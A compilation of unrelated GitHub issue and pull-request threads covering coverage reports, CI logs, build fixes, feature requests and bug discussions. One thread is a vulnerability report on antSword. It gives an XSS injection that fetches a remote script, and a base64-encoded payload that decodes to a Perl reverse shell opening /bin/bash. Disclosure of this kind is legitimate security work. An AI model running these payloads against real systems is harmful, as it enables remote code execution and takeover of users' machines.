Distribute the Library!

Distribute source and user built it themselves and install it with make install

Distribute pre-built version

Distribute header only (we might or might not support this), if so I will make a fork and re-organise

DOCUMENTATION TIME!!! in docs/

The first one has been worked on, more testing (much more rigorous!!!) is needed. The second one will be implemented tomorrow. Documentation is lacking for both installation and usage and will be fixed.

Built from scratch added. To be tested on different platforms. Prebuilt binary might be supported. Docs to be soon and we're finished!

Once Windows testing is done and prebuilt binaries prepared for Windows, we can release the first release.


meta/sql: read database inside transaction

Codecov Report

Merging #2073 (7fd44f4) into main (b05b3df) will increase coverage by 0.14%.
The diff coverage is 67.28%.

@@            Coverage Diff             @@
##             main    #2073      +/-   ##
==========================================
+ Coverage   61.77%   61.92%   +0.14%
==========================================
  Files         138      138
  Lines       24529    24550      +21
==========================================
+ Hits        15154    15202      +48
+ Misses       7602     7579      -23
+ Partials     1773     1769       -4

Impacted Files
Coverage Δ

pkg/meta/sql.go
66.79% <66.21%> (+1.45%)
:arrow_up:

pkg/meta/sql_lock.go
71.52% <100.00%> (-0.92%)
:arrow_down:

pkg/object/sql.go
56.48% <100.00%> (ø)

pkg/meta/redis.go
71.46% <0.00%> (-0.05%)
:arrow_down:

pkg/chunk/cached_store.go
76.55% <0.00%> (+0.36%)
:arrow_up:

pkg/meta/base.go
70.80% <0.00%> (+0.62%)
:arrow_up:

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update b05b3df...7fd44f4. Read the comment docs.


Max body limit part not working properly.

Need to fix body size set in:

nginx template
TypedMultipart

Fixed in v0.2.0


.onAllRoutes() runs publish for all .js, .css,....any route

Long time user of fast-render and just noticed that version 2.3.2 was calling publish dozens of times running in devel, and several times in production.  I think onAllRoutes() is being very literal and calls the same publish for every file requested by the client rather than just once for the single .html file served on any route to a meteor app.  Reproduction of issue here.
This means that null publish functions can no longer be used with fast-render because they will always be called many times.  Naming all publish functions and then excluding .js, .css, .woff, ...etc. by checking the path inside onAllRoutes() is a workaround.
Possibly related to other issues #108, #104, #106.

Okay. This is something good. I think I can do something.
Thanks.

I fixed this issue with https://github.com/meteorhacks/fast-render/commit/9203dcb9baa0790d9da3311c677e496c54e25d58
Released as 2.4.0

Yep, problem appears fixed.  Thanks.


[SPARK-34103][INFRA] Fix MiMaExcludes by moving SPARK-23429 from 2.4 to 3.0

What changes were proposed in this pull request?
This PR aims to fix MiMaExcludes rule by moving SPARK-23429 from 2.4 to 3.0.
Why are the changes needed?
SPARK-23429 was added at Apache Spark 3.0.0.
This should land on master and branch-3.1 and branch-3.0.
Does this PR introduce any user-facing change?
No.
How was this patch tested?
Pass the MiMa rule.

cc @squito , @Ngone51 , @cloud-fan , @HyukjinKwon

cc @squito , @Ngone51 , @cloud-fan , @HyukjinKwon

Test build #134026 has started for PR 31174 at commit 224e688.

Test build #134026 has started for PR 31174 at commit 224e688.

Kubernetes integration test starting
URL: https://amplab.cs.berkeley.edu/jenkins/job/SparkPullRequestBuilder-K8s/38613/

Kubernetes integration test starting
URL: https://amplab.cs.berkeley.edu/jenkins/job/SparkPullRequestBuilder-K8s/38613/

Kubernetes integration test status failure
URL: https://amplab.cs.berkeley.edu/jenkins/job/SparkPullRequestBuilder-K8s/38613/

Kubernetes integration test status failure
URL: https://amplab.cs.berkeley.edu/jenkins/job/SparkPullRequestBuilder-K8s/38613/

cc @srowen , too~

cc @srowen , too~

Merged to master, branch-3.1 and branch-3.0.

Merged to master, branch-3.1 and branch-3.0.

Thank you!

Thank you!

Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/SparkPullRequestBuilder-K8s/38613/

Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/SparkPullRequestBuilder-K8s/38613/

Thanks, @srowen !

Thanks, @srowen !

Test build #134026 has finished for PR 31174 at commit 224e688.

This patch passes all tests.
This patch merges cleanly.
This patch adds no public classes.

Test build #134026 has finished for PR 31174 at commit 224e688.

This patch passes all tests.
This patch merges cleanly.
This patch adds no public classes.

Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/SparkPullRequestBuilder/134026/

Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/SparkPullRequestBuilder/134026/


perception_pcl: 2.3.1-1 in 'galactic/distribution.yaml' [bloom]

Increasing version of package(s) in repository perception_pcl to 2.3.1-1:

upstream repository: https://github.com/ros-perception/perception_pcl.git
release repository: https://github.com/ros2-gbp/perception_pcl-release.git
distro file: galactic/distribution.yaml
bloom version: 0.10.7
previous version for package: 2.3.0-1

Resolves build issues where ament_cmake_ros was mistaken for ament_cmake

The pcl_ros package is failing to build for Ubuntu Focal: https://build.ros2.org/job/Gbin_uF64__pcl_ros__ubuntu_focal_amd64__binary/

@cottsay I see it pending? Last build failure was 2:27pm which was the initial release, this was patching that issue. It was merged only an hour ago according to git (so ~4:30pm ish) so it hasn't rebuilt yet?

which is exactly what this re-release patched

Ah, that's great news. Thanks for taking a look - no action here.

@cottsay can you disable the galactic RHEL for pcl_ros? Its failing and sending me emails https://build.ros2.org/job/Gbin_rhel_el864__pcl_ros__rhel_8_x86_64__binary/7/consoleFull the focal builds are all successful.

@cottsay can you disable the galactic RHEL for pcl_ros?

Yeah, I can take care of that. I think we need to build PCL with VTK to get the visualization components of PCL for pcl_ros to build successfully.

Its failing and sending me emails

This shouldn't be the case. I specifically have maintainer E-mails disabled for RHEL. Could you please open a ticket on the ros-infrastructure/ros_buildfarm repository that includes link to a job you got an E-mail about and some information in the headers, like the exact To and Subject fields?


No auto-completion for CurrentPlayer in CreateUnit (v1.2.10)

There's no output in the console

Does it happens only CreateUnit, or every function argument type completions are buggy?

Fixed in https://github.com/zuhanit/epscript-lsp/commit/5b45a7637793d3e4a7e1fc60e07a9195df689427


Debugger issue with Node.js/TypeScript code

VSCode Version: 1.2.1
OS Version: Ubuntu 16.04

Steps to Reproduce:
I came across an issue with VS Code debugger when debugging Node.js/TypeScript code in a specific situation described below.
In TypeScript, when using "let" to declare a variable inside a try/catch block, and when using that variable inside a callback within the same try/catch block, the debugger won't read the variable, instead it appends "_1" and displays a variable copy in the Variables window. The code works, it's just the debugger that's acting strange.
When using var instead of let, or when not using try/catch, there is no problem.
Screenshot of the described situation:
http://take.ms/a2iJC
I compiled an example Node.js project which reproduces an issue, you can open it in Visual Studio Code, Run Build Task, place a breakpoint in test.ts and just start debugging. Download it here:
https://www.dropbox.com/s/jxk0upjppqkiunw/example.tar.gz?dl=1
This could very well be a Node.js bug, but I am not sure. Please advise.
Regards,
Igor

@karabaja4 what is your node version?

Node.js version: v6.2.2

@karabaja4 it is not the debugger that is acting strange here. It is the TypeScript transpiler that translates the TypeScript source to JavaScript and it has to rename variables in certain situations.
When running (or debugging) you are actually executing the generated JavaScript but thanks to 'source maps' you don't see the JavaScript because it is always mapped back to the original TypeScript source.
But the source maps do not cover variables so the generated names are not mapped back to the original names.
To verify this, please locate the generated JavaScript file (test.js). You should find the 'A_1' there.
If you set the 'sourceMaps' attribute in your launch config to false, you can debug through the JavaScript and you will see why the 'A_1' makes sense.


can't use the playbook anymore, error on finding the security requirement

here is the error:
TASK [nmasse-itix.threescale-cicd : Find the security requirement to use] ********************************************************************************************************************
fatal: [acme-admin.apps.openshift.es]: FAILED! => {"msg": "The task includes an option with an undefined variable. The error was: dict_keys object has no element 0\n\nThe error appears to have been in '/home/remote/luferrar/.ansible/roles/nmasse-itix.threescale-cicd/tasks/read_openapi_file.yml': line 118, column 3, but may\nbe elsewhere in the file depending on the exact syntax problem.\n\nThe offending line appears to be:\n\n\n- name: Find the security requirement to use\n  ^ here\n"}

attached the swagger file
echo-swagger.yaml.txt

Hi @lucamaf,
Thanks for reporting this ! I investigated and it appears the new version of Ansible made the switch from Python 2 to Python 3 with some breaking changes.
If you downgrade to a previous version of Ansible or one on Python 2, it works.
I will investigate for a definitive fix. 👍

what about if you wanted to get the second key?

@wired00  Like this ?
(my_dict.keys()|list)[1]


Add trivial conversions for Value to/from C++ type

Implement set of helper functions for trivial conversions between a
Value object and a C++ type (bool, number or string).
These helpers, once fully implemented for all other needed types, will
be used to migrate the rest of the //common/cpp library onto the
toolchain-independent Value class (as tracked by #185). Currently
many parts of this library use the NaCl-specific pp::Var class and the
previously implemented helpers for converting to/from pp::Var objects.

PTAL. There are gaps in test coverage, but I'd like to tackle them after doing the first round of reviews, since there'll be a bunch of copy-paste between some of tests.

I got rid of the optional<> overloads, since they're easy to confuse with non-optional overloads and clutter tests, and also most future callsites won't benefit from optional<> at all.


KYLIN-3671 Improve ResourceTool and JDBCResourceStore's performance

Can one of the admins verify this patch?

Pull Request Test Coverage Report for Build 3902

266 of 1272 (20.91%)  changed or added relevant lines in 43 files are covered.
16 unchanged lines in 6 files lost coverage.
Overall coverage increased (+0.03%) to 25.976%

Changes Missing Coverage
Covered Lines
Changed/Added Lines
%

core-common/src/main/java/org/apache/kylin/common/persistence/ContentReader.java
10
11
90.91%

core-cube/src/main/java/org/apache/kylin/cube/cli/CubeSignatureRefresher.java
0
1
0.0%

core-cube/src/main/java/org/apache/kylin/cube/upgrade/common/MetadataVersionRefresher.java
0
1
0.0%

core-dictionary/src/main/java/org/apache/kylin/dict/DictionaryManager.java
2
3
66.67%

engine-mr/src/main/java/org/apache/kylin/engine/mr/common/CubeStatsReader.java
0
1
0.0%

engine-mr/src/main/java/org/apache/kylin/engine/mr/steps/MergeDictionaryMapper.java
0
1
0.0%

engine-mr/src/main/java/org/apache/kylin/engine/mr/steps/MergeStatisticsStep.java
0
1
0.0%

engine-mr/src/main/java/org/apache/kylin/engine/mr/steps/UpdateDictionaryStep.java
0
1
0.0%

engine-spark/src/main/java/org/apache/kylin/engine/spark/SparkMergingDictionary.java
0
1
0.0%

tool/src/main/java/org/apache/kylin/tool/CubeMetaExtractor.java
2
3
66.67%

Files with Coverage Reduction
New Missed Lines
%

tool/src/main/java/org/apache/kylin/tool/CubeMigrationCLI.java
1
0.0%

engine-mr/src/main/java/org/apache/kylin/engine/mr/common/JobRelatedMetaUtil.java
1
0.0%

core-common/src/main/java/org/apache/kylin/common/persistence/ResourceStore.java
1
71.58%

core-cube/src/main/java/org/apache/kylin/cube/cuboid/TreeCuboidScheduler.java
2
68.46%

core-common/src/main/java/org/apache/kylin/common/persistence/JDBCResourceStore.java
5
0.0%

storage-hbase/src/main/java/org/apache/kylin/storage/hbase/HBaseResourceStore.java
6
0.0%

Totals

Change from base Build 3901:
0.03%

Covered Lines:
17822

Relevant Lines:
68610

💛  - Coveralls

Codecov Report

Merging #367 into master will increase coverage by 0.01%.
The diff coverage is 18.23%.

@@             Coverage Diff              @@
##             master     #367      +/-   ##
============================================
+ Coverage     23.63%   23.65%   +0.01%
- Complexity     4837     4876      +39
============================================
  Files          1131     1134       +3
  Lines         68193    68610     +417
  Branches       9684     9744      +60
============================================
+ Hits          16119    16230     +111
- Misses        50507    50792     +285
- Partials       1567     1588      +21

Impacted Files
Coverage Δ
Complexity Δ

.../java/org/apache/kylin/common/util/HadoopUtil.java
17.85% <ø> (ø)
10 <0> (ø)
:arrow_down:

...che/kylin/storage/hbase/util/CubeMigrationCLI.java
0% <0%> (ø)
0 <0> (ø)
:arrow_down:

...a/org/apache/kylin/tool/ExtendCubeToHybridCLI.java
0% <0%> (ø)
0 <0> (ø)
:arrow_down:

...n/java/org/apache/kylin/tool/CubeMetaIngester.java
0% <0%> (ø)
0 <0> (ø)
:arrow_down:

...apache/kylin/engine/mr/common/CubeStatsReader.java
0% <0%> (ø)
0 <0> (ø)
:arrow_down:

...n/java/org/apache/kylin/tool/CubeMigrationCLI.java
0% <0%> (ø)
0 <0> (ø)
:arrow_down:

.../java/org/apache/kylin/rest/job/HybridCubeCLI.java
0% <0%> (ø)
0 <0> (ø)
:arrow_down:

.../apache/kylin/cube/cli/CubeSignatureRefresher.java
0% <0%> (ø)
0 <0> (ø)
:arrow_down:

...he/kylin/common/persistence/JDBCResourceStore.java
0% <0%> (ø)
0 <0> (ø)
:arrow_down:

...e/kylin/engine/mr/steps/MergeDictionaryMapper.java
0% <0%> (ø)
0 <0> (ø)
:arrow_down:

... and 43 more

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update be5df4a...ad8b780. Read the comment docs.


Mention port to be used by workers

The comment at:
https://github.com/coreos/kube-up/blob/master/multi-node/generic/worker-cloud-config.yaml#L22
should mention at the very least a default port.  As most of the configuration has occurred via magic at this point there is no context about what this is providing.

Sorry @brianredbeard, I took to long to get to this and what link is referring to isn't clear anymore. Is this still something we need to address?


can fix the browser errors? just annoying

DialogContentrequires aDialogTitle` for the component to be accessible for screen reader users.
If you want to hide the DialogTitle, you can wrap it with our VisuallyHidden component.
For more information, see https://radix-ui.com/primitives/docs/components/dialog

Can I ask you to create a new using the bug report template? Hard to reproduce and debug this issue based on this information.


Report CVE RCE Vulnerability in antSword

1# Report CVE RCE Vulnerability in antSword
xss
The XSS in the classification directory has not been repaired, possibly because it is too weak and neglected by the authorities

The JS substitution is obviously used here, but the authorities forgot to filter the use of single quotes, so we can take advantage of it here

It uses the DHTMLX framework.

In the framework DHTMLXOOLBAR.JS file, we found the vulnerability at line 1775.
this.obj.innerHTML = "<input class='dhxtoolbar_input' type='text' style='width:"+this.obj.w+"px;'"+(data.value!=null?" value='"+data.value+"'":"")+">"; ```
The content will be output unchanged to value value='"+data.value+"'":"")+">";  Resulting in vulnerabilities in XSS.

0x03  ## Attack approach.
Building the oninput to trigger the XSS

Next ,we’ll building the payload to finished the SSJI(server side javascript inject).
In the end
POC: 'autofocus onfocus=alertxss;'
Payload:   'autofocus onfocus=$.getScript(unescape('http%3A%2f%2fxxx.in%2f2Yuo%0A'));'
payload:
eval(new Buffer(`cmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoJ3BlcmwgLWUgXCd1c2UgU 29ja2V0OyRpPSIxMjcuMC4wLjEiOyRwPTEwMDI7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1 NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9 pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VU LCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9iYXNoIC1pIik7fTtcJ ycsKGVycm9yLCBzdGRvdXQsIHN0ZGVycik9PnsKICAgIGFsZXJ0KGBzdGRvdXQ6ICR7c3 Rkb3V0fWApOwogIH0pOw==`,`base64`).toString())
Decoding Base64 : require('child_process').exec('perl -e 'use  Socket;$i="<IP_ADDRESS>";$p=1002;socket(S,PF_INET,SOCK_STREAM,getprotoby name("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN, ">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'',(error, stdout, stderr)=>{     alert(`stdout: ${stdout}`);    });

感觉防不胜防，是不是真要考虑所有从服务端获取到的数据时进行编码检查了

非常感谢指出。


Fix/refactor azure synth

Refactor the Azure Synthesizer to have more clean code and use a pool to share synthesizers safely and to get lower latency.

Closed as mistake


Feature Request - 1

First thing I would like to thank you guys for creating an item based land claim system, I was able to implement it in my NPC shops!
The plugin is working as intended. While it's still relatively new, I would like to add some suggestions.

A config file that will allow the server owner to modify a default configuration for all claims that are created. I would like to have the claims to have Chest permissions turned on for all claims, while everything else is turned off. Essentially I would like to restrict players from protecting chests. I run a PvP server with raiding, so it will help to have this functionality.

A jail feature for landowners: If a trespasser is caught attempting to steal or interfere with a landowner's property, and the landowner successfully kills them, the trespasser will be jailed in a designated area or partition within the owner's claim. Once inside the jail, the trespasser cannot interact with any surrounding blocks. The landowner can also set a custom jail sentence duration as they see fit.

add on for DynMap - visually see the claims in a colored-transparent square with their name.

Name of claim popping up in text chat or on screen.

(this was also posted on Gitlab)

Hello and thanks for appreciating the work that's put into this! I'll take into account the feature set you've suggested and split them off into separate issue pages just for better tracking, but I'd like to do a bit of discussion here first.

A config file that will allow the server owner to modify a default configuration for all claims that are created

This is definitely something that could be useful to have. I will likely implement a claim permission/flag blacklist in the config, maybe implement a server permission system to allow certain players to use certain claim permissions/flags.

A jail feature for landowners

This seems a little out of scope for this plugin. The core focus behind Bell Claims is land claiming. If someone is able to interfere with a claim in a way that the owner does not want, that either means the claim permissions the owner has set are too permissive, or a bug has been discovered that needs to be patched.
I do understand that you want to use this plugin in a PvP raiding focused server where such functionality may be useful to have. This may be something that could be done in an addon, which will be possible to do once I've completed the external API hooks. If I have the time to do so, I could consider approaching it myself, but I have other priorities to address at the moment. Maybe share the plugin around to get some attention and someone may be interested in making such a thing.

add on for DynMap

Already planned!

Name of claim popping up in text chat or on screen.

This would be useful to have, I'll definitely try to implement this with varying options of text placement for server owners to decide on.

Awesome! I'll be posting any issues I encounter, hopefully nothing ground breaking.

I will likely implement a claim permission/flag blacklist in the config, maybe implement a server permission system to allow certain players to use certain claim permissions/flags.

Blacklist in the config should work! This can apply globally to all claims.
If going the "server permission system" route, maybe using a system like LuckPerms can help sort out permissions for admins and default players.

This may be something that could be done in an addon, which will be possible to do once I've completed the external API hooks. If I have the time to do so, I could consider approaching it myself, but I have other priorities to address at the moment. Maybe share the plugin around to get some attention and someone may be interested in making such a thing.

Got it! No biggie, I'll see what I can do on my end. You got a lot on your plate already, you've been great help already with this plugin release!

I'll definitely try to implement this with varying options of text placement for server owners to decide on

sounds good!

I've created separate issue pages for the changes I'm going to follow up with. See #106 #107 #109 to discuss changes if you'd like. Closing this issue page now.


Added support for cluster and info command

This PR adds support for Cluster and Info commands for Redis Proxy.
See https://docs.google.com/document/d/1L44cUf8sLV6Db1Pckg0g9g6gqJuZ-iub3fFi1irHJ8Y/edit for the background.
Tested only locally -requires unit tests and bunch of other fixes -alpha code quality.

Continue working on the branch


feat: ionic4 How do you implement the navCtrl.remove method?

Feature Request
Ionic version:

[x] 4.9.0
Describe the Feature Request

Google Translate：
Previously, returning any page in ionic3 is the corresponding page that needs to be removed from the stack and can return directly. However, if the corresponding remove method is not found in ionic4, it cannot be returned to any page. I try to use angular router replaceUrl: true Method but did not achieve the expected effect, he still can not replace the previous history, simply speaking, I have three pages of ABC, I now open the order A->B->C, currently want to directly from C->A How do you need to achieve this?
Describe Preferred Solution

I want something like this.navctrl.remove(); method
Describe Alternatives

Related Code

Additional Context

Thanks for the issue. I am going to close this as this is more of a support request. I recommend you post your question on our forums or our slack.
Thanks!


Solid-Query: Error isn't being set when fetching via SSR

Describe the bug
so having this:
  const link = getContactLink(
    () => ({ id: params.id }),
    () => ({
      deferStream: true,
    })
  );

which basically calls createQuery(...).
this function throws an error, therefore link.data is null so i can't render anything
yet, link.error is always null, i can't render the error and i can't render the data (because no data was returned)
if i remove deferStream then the errors gets printed to the console but still, link.error doesn't return anything.
Your minimal, reproducible example
n/a
Steps to reproduce
Create a query function that has deferStream and runs on SolidStart SSR
Make it throw an error
Expected behavior
n/a
How often does this bug happen?
None
Screenshots or Videos
No response
Platform
Any OS
Tanstack Query adapter
None
TanStack Query version
tanstack/solid-query 5.60.5
TypeScript version
No response
Additional context
No response

This issue existed for a while now
It was even almost fixed back in
https://github.com/solidjs-community/mediakit/issues/27
But looks like with the new solid start mechanism, it wasn't fixed

Basically when an error is caught, the entire query freezes its state, no data is being updated, no status is being updated and no error is being set

must say, using ErrorBoundary + Suspense + throwOnError works, this issue is when we don't want the error to leak to the boundary but rather get it by using
query.error


Equivalent classes in GO and SO for chromosome regions

SO and GOCC both have classes for chromosome regions:
GOCC:

SO:

These appear to be semantically equivalent.  I guess ideally, these would be removed from one of the ontologies (probably SO), leaving only one authoritative source.  But until then we at least need mappings.  Should these be handled as xrefs of OWL equivalentTo ?

I believe there are fundamentally different entities. The SO terms are referring to the "sequence". The GO chromosome region terms are referring to   DNA+proteins  so, For example in GO the telomere would refer to the telomeric repeat tract plus the telomere end binding complex/cap.

I've gone back and forth on this.  I was assuming semantic equivalence based on SO defs + immediate parents.  But looking into it some more, there is a path up to the sequence feature root that supports your description of the difference.  (TL;DR: I agree.)
This suggests an obvious pattern, consistent with extensions, for bringing in SO terms:
name: chromosome, centromeric region
intersection_of: chromosomal region
intersection_of: coincident_with SO:centromere.
if no objection, I'll add these logical defs + write up a design pattern.

+1
could also consider a more explicit has_sequence relation. But basic
pattern good.

Does that really work?
coincident with: A relation that holds between two linear structures that are approximately parallel to each other for their entire length and where either the two structures are adjacent to each other or one is part of the other.
As Val points out in GO, these represent nucleic acid/protein complexes. It is not the same as for example gene being coincident with a sequence is it?
Maybe an inverse relation? The SO:centromere is coincident with the GO region, but what is meant by linear?

Actually would coincident with be symmetric? I think so. But is still seems funny based on the def.

these represent nucleic acid/protein complexes. It is not the same as for example gene being coincident with a sequence is it?

One reason I defined this relation so that curators could refer to regions of chromosome by sequence region in extensions (e.g. region of chromosome that coincides with a particular gene).   In gorel, the local range is SO:sequence region.  There's a long discussion of this with Midori on a ticket somewhere (having trouble tracking it down). We also agreed on this in an editor's call.
All logical defs now added.  Note - this is yet another case where it would be useful to infer partonomy from an ontology used for differentia.
Don't follow.  Focus on the clause: 'that are approximately parallel to each other for their entire length'

There's a long discussion of this with Midori on a ticket somewhere (having trouble tracking it down).

I had a bit of a look - seems to be in a lo-o-o-o-ng email exchange, some but not all of which was cc'd to the go-discuss list, as opposed to a tracker ticket.

https://github.com/geneontology/design_patterns/blob/master/validated_patterns/chromosomal_region.yaml


Notes opened from the dendron tree view are replaced with blank notes

After upgrading to v0.13.4 of Dendron, notes with capital letters in the filename that are opened in the tree view are deleted and replaced with a new blank note. This does not affect notes with all-lower-case filenames.
To Reproduce
Steps to reproduce the behavior:

Open Dendron v0.13.4.
Open/Create then open a note with capital letters in the file name ie "000 Index" from the dendron tree view panel.
Clicking the note repeatedly will generate a new note each time.

Expected behavior
The original note should not be replaced by a blank note and instead just open the original note.

OS: Mac OS X
Dendron v0.13.4
VSCode 1.50.1

thanks for the issue. this was fixed in 0.13.5!


WebsocketSubject support dynamic url

Feature Request
import { WebSocketSubject } from 'rxjs/webSocket';

export class SomeService  {

     public async getUrl() {
         const token = await otherSerivce.getTokenFromServer();
         return `wss://some.host/ws/${token}`;
     }

     public get websocket$() {
          return new WebSocketSubject(this.getUrl());
     }
}

cosnt serveice = new SomeService();

const websocket$ = serveice.websocket$;
websocket$.subscribe(...);

Is your feature request related to a problem? Please describe.
In some scenarios need to dynamically get the url when using websocket.
Is there some solution that can get url before create `WebSocket ?
do it by promise before new WebSocketSubject(...) is not good way for getter. right?

Related, https://github.com/ReactiveX/rxjs/issues/4197

This SO answer of mine seems related.

@cartant  I think that SO answer is an awesome approach to this issue, however I do still considering that having to re-subscribe every time you get the url, it still feels like a hack. Given the chance to compute the url in async before make any subscription will be wonderful.

@luillyfe You can use the same concept with an observable source that emits the URL instead of explicit calls to reset, etc. I think the bottom line is that extending WebSocketSubject to support a 'dynamic URL' is unnecessary. It can be handled in user-land code.

you'd be using a caller-specifed observable instead of the example's internal resetter subject.

No way, if we give the user the change to compute the url in async, he can use whatever approach he wants to get that url, let's  say obsevable, promise, async/await, callback. It nas not to be attached to one observable/subject. This will give to the developer better flexibility.
Let's say that the service that computes that url is already written, with the observable/subject approach, that service would has to be re-written.

@luillyfe The user can use from for those things. Regardless, I don't agree that WebSocketSubject should be extended to support a 'dynamic URL'.
RxJS offers the necessary tools to do this if you need it. I don't believe it's worth the additional complexity. Interestingly, early versions of AngularFire2 supported dynamic queries. These were removed due to their complexity, that fact that they weren't often used and because users who did need them could achieve the same outcome using RxJS.


Publishing a Windows Image using this guide does not work

Following these instructions does not work.  It seems to me that these instructions are out of date or are not tested (or I can't read).
This guide provides more information but there is inconsistencies between the two:
https://azurestack.blog/2016/10/adding-and-using-os-gallery-items-to-azure-stack-tp2/
Combining the information in the two articles I can get a custom Windows image published, but when attempting to use if via the Marketplace I get an error 'The selected image is not valid for the specified location. Select a different location.'
The location drop down defaults to the region name for our AzSH and this is the only option.  This seems to be correct, but we get the error.
We can use the vmImage from an ARM template and PowerShell to create VMs, so we don't think we have an issue with the image, we think the issue is with one of the files in the .azpkg file but we can't figure out the issue.  The examples provided my Microsoft in the article do not work and need to be updated, but we are obviously missing something.

Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: e401ae26-588f-124f-09a8-f1f6dc75da4e
Version Independent ID: 6a9509a1-f16c-f527-5df1-9dae2d8eeaed
Content: Create and publish a Marketplace item in Azure Stack Hub - Azure Stack Hub
Content Source: azure-stack/operator/azure-stack-create-and-publish-marketplace-item.md
Service: azure-stack
Sub-service: azure-stack-hub
GitHub Login: @sethmanheim
Microsoft Alias: sethm

Hello @jimchurches , thanks for the question! We are taking a look into this and will get back to you soon.

Hello @jimchurches , thanks for the question! We are taking a look into this and will get back to you soon.

@jimchurches Hello and thanks for the feedback. We have seen that error before when there’s insufficient quota. Can you please verify that you have enough compute quota?

@jimchurches Hello and thanks for the feedback. We have seen that error before when there’s insufficient quota. Can you please verify that you have enough compute quota?

Hi - that was one of the things I checked and it looks fine to me, but I will get with my colleague who set up quotas to make sure I'm reading things correctly.  Wouldn't quotas also stop ARM templates and PowerShell from provisioning a machine from the image?

Hi - that was one of the things I checked and it looks fine to me, but I will get with my colleague who set up quotas to make sure I'm reading things correctly.  Wouldn't quotas also stop ARM templates and PowerShell from provisioning a machine from the image?

Hi again @jimchurches -- I asked the product team about this and they replied that "They would, but that’s the message that shows up before resource creation in the portal."
Hope that's helpful.

Hi again @jimchurches -- I asked the product team about this and they replied that "They would, but that’s the message that shows up before resource creation in the portal."
Hope that's helpful.

Hi Folks - we have checked quotas and offers and we are sure they are okay.  I can sanitise our .azpkg configuration files and share them if that helps at all.

Hi Folks - we have checked quotas and offers and we are sure they are okay.  I can sanitise our .azpkg configuration files and share them if that helps at all.

@jimchurches Thanks for the response -- at this point it's probably best to file a support ticket with CSS. Thank you for the feedback! #please-close


dm-area: reduce the amount of used canvases

Currently, there are three canvases which have quite some impact on performance (especially when zooming/dragging).
When removing the cursor & fog canvas from the DOM I notice a significant performance improvement.
I am pretty sure this is caused by the transparency/absolute positioning of the different stacked canvases.
We can definitely move the cursor stuff onto the object SVG. However, I am still unsure about the shadow canvas. Maybe we can merge both the map and shadow canvas.
I am as always open for suggestions 🤔

I experimented with OffscreenCanvas in #146 (5d909fb5594cad4a597df7c343c2c86bda3138ad).
The performance is much better with only having one canvas with one SVG layer on top. As the next step, I will move all cursor related stuff to the SVG layer which also enables high-resolution cursors when zooming into the map.

It would be fun to experiment with GLSL (WebGL) to do the rendering instead. (Use that GPU)


WIP: Make Docker image great again

bind to host <IP_ADDRESS> (for it to work in k8s)
add all packges to the wheel, not just the top
use multistage build to make Dockerfiles neater and image smaller

I was just attempting something like this and failed miserably :-) Is there a way to include the packages in setup.cfg with a wildcard? It's pretty brittle to enumerate them by hand.
Btw I'm not sure how the deployment will work, but we should probably use something like
CMD alembic upgrade head \
    && uvicorn --loop uvloop --workers 4 --host <IP_ADDRESS> --port 5000

and pass the port, DB uri and number of workers when the image is deployed.

Right now all I cared about was to get it running in K8s so i can have some sleep. We'll figure out the best way to launch it tomorrow.


Add dapp images

I’ve made the following changes, based on feedback I’ve received from @plotnick on my previous pull request (#409):

Changed the directory from resources to dpps/images
Removed the Glow logo (I believe that was the “spurious glow executable to which @plotnick had referred).

(Also, for the future, you don't need to open a second pull request to make changes; you can just add more changes to the existing branch and push, and it will update the original pr)


[Awaiting payment Oct 2 2023 / $500] Web -  green dot appears even if task is deleted

If you haven’t already, check out our contributing guidelines for onboarding and email<EMAIL_ADDRESS>to request to join our Slack channel!

Action Performed:

Go to any chat
Click on + icon and select assign task
Enter title and assign task to you
Create task
Go to task thread and delete the task

Expected Result:
should not show green dot show if task is deleted
Actual Result:
green dot appears even if task is deleted
Workaround:
Unknown
Platforms:

Which of our officially supported platforms is this issue occurring on?

[ ] Android / native
[ ] Android / Chrome
[ ] iOS / native
[ ] iOS / Safari
[x] MacOS / Chrome / Safari
[ ] MacOS / Desktop

Version Number: Dev 1.3.71-5
Reproducible in staging?: Y
Reproducible in production?: n
If this was caught during regression testing, add the test name, ID and link from TestRail:
Email or phone of affected tester (no customers):
Logs: https://stackoverflow.com/c/expensify/questions/4856
Notes/Photos/Videos: Any additional supporting documentation
https://github.com/Expensify/App/assets/93399543/5a1ef321-1f2e-4f76-8aef-8be54fdab124
Expensify/Expensify Issue URL:
Issue reported by: @gadhiyamanan
Slack conversation: https://expensify.slack.com/archives/C049HHMV9SM/p1695106297939429
View all open jobs on GitHub
Upwork Automation - Do Not Edit

Upwork Job URL: https://www.upwork.com/jobs/~01833b320ff7bd97a7
Upwork Job ID:<PHONE_NUMBER>523981312
Last Price Increase: 2023-09-19
Automatic offers:

paultsimura | Contributor | 26790441
gadhiyamanan | Reporter | 26790444

Proposal
Please re-state the problem that we are trying to solve in this issue.
The green dot is displayed in LHN for deleted task
What is the root cause of that problem?
Here we check for the optionItem.isArchivedRoom to check if the task is closed. The archival logic was removed now.
https://github.com/Expensify/App/blob/f2282b2814025f283b36846c2a9124466e6f7431/src/components/LHNOptionsList/OptionRowLHN.js#L104-L108
What changes do you think we should make in order to solve the problem?
We need to check for optionItem.isArchivedRoom instead.
What alternative solutions did you explore? (Optional)

https://github.com/Expensify/App/blob/0603fe110a3f87f52510437ee6a61b6c938f738a/src/components/LHNOptionsList/OptionRowLHN.js#L105-L109

Not able to reproduce in latest main - v1.3.71-11

